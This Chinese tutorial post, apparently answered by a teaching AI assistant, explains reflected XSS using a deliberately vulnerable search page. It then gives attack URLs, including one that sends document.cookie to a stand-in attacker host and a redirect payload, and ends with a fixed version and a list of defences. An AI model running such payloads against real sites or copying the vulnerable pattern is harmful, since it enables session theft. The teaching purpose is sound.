ZBLOG

给一个简单的 html XSS漏洞反射形漏洞和攻击示例

HTML 反射型 XSS 漏洞示例

存在漏洞的 HTML 页面 (vulnerable.html)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>搜索页面</title>
  5. </head>
  6. <body>
  7. <h1>搜索功能</h1>
  8. <!-- 存在XSS漏洞的搜索框 -->
  9. <form action="" method="GET">
  10. <input type="text" name="query" placeholder="输入搜索内容">
  11. <button type="submit">搜索</button>
  12. </form>
  13. <!-- 未经过滤直接输出用户输入 -->
  14. <div id="results">
  15. 您搜索的内容是:
  16. <script>
  17. // 从URL参数获取查询内容并直接显示
  18. const params = new URLSearchParams(window.location.search);
  19. document.write(params.get('query') || '');
  20. </script>
  21. </div>
  22. </body>
  23. </html>

攻击示例

正常请求

  1. http://example.com/vulnerable.html?query=手机

页面会显示:您搜索的内容是: 手机

XSS攻击请求

  1. 简单弹窗攻击
  1. http://example.com/vulnerable.html?query=<script>alert('XSS攻击!')</script>
  1. 窃取Cookie
  1. http://example.com/vulnerable.html?query=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
  1. 重定向到恶意网站
  1. http://example.com/vulnerable.html?query=<script>window.location.href='http://malicious-site.com'</script>

修复方案

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>安全的搜索页面</title>
  5. </head>
  6. <body>
  7. <h1>搜索功能</h1>
  8. <!-- Content Security Policy (CSP)头 -->
  9. <meta http-equiv="Content-Security-Policy" content="default-src 'self'">
  10. <form action="" method="GET">
  11. <input type="text" name="query" placeholder="输入搜索内容">
  12. <button type="submit">搜索</button></form>
  13. <!-- 安全地输出用户输入 -->
  14. <div id="results">
  15. 您搜索的内容是:
  16. <span id="safe-output"></span></div>
  17. <!-- 使用textContent而不是innerHTML或document.write -->
  18. <script nonce="随机值">
  19. const params = new URLSearchParams(window.location.search);
  20. document.getElementById('safe-output').textContent = params.get('query') || '';
  21. // DOM XSS防护 - JavaScript编码
  22. function encodeForJS(str) {
  23. return str.replace(/\\/g, '\\\\')
  24. .replace(/'/g, "\\'")
  25. .replace(/"/g, '\\"')
  26. .replace(/`/g, '\\`');
  27. }
  28. // HTML实体编码函数
  29. function encodeForHTML(str) {
  30. return str.replace(/&/g, '&amp;')
  31. .replace(/</g, '&lt;')
  32. .replace(/>/g, '&gt;')
  33. .replace(/"/g, '&quot;')
  34. .replace(/'/g, '&#39;');
  35. }
  36. // URL编码函数
  37. function encodeForURL(str) {
  38. return encodeURIComponent(str);
  39. }
  40. </script></body></html>

防御措施总结:

  1. 对输出进行编码:使用 textContent 而不是 innerHTML
  2. 实施CSP策略:限制脚本执行来源
  3. 使用nonce属性:只允许特定脚本执行
  4. 设置HttpOnly Cookie:防止通过JavaScript访问敏感Cookie


    内容由零声教学AI助手提供,问题来源于学员提问

本站部分文章来源于网络,版权归原作者所有,如有侵权请联系站长删除。
转载请注明出处:https://golang.0voice.com/?id=23139

分享:
扫描分享到社交APP
上一篇
下一篇
发表列表
游客 游客
此处应有掌声~
评论列表

还没有评论,快来说点什么吧~

联系我们

在线咨询: 点击这里给我发消息

微信号:3007537140

上班时间: 10:30-22:30

关注我们
x

注册

已经有帐号?